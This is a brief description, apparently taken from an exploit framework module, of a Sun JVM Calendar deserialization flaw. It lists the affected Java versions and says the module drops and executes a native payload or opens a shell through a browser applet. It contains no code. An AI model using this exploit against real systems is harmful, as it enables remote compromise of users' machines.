  				This module exploits a flaw in the deserialization of Calendar objects in the Sun JVM.
  
  				The payload can be either a native payload which is generated as an executable and
  				dropped/executed on the target or a shell from within the Java applet in the target browser.
  
  				The affected Java versions are JDK and JRE 6 Update 10 and earlier, JDK and JRE 5.0 Update 16
  				and earlier, SDK and JRE 1.4.2_18 and earlier (SDK and JRE 1.3.1 are not affected).
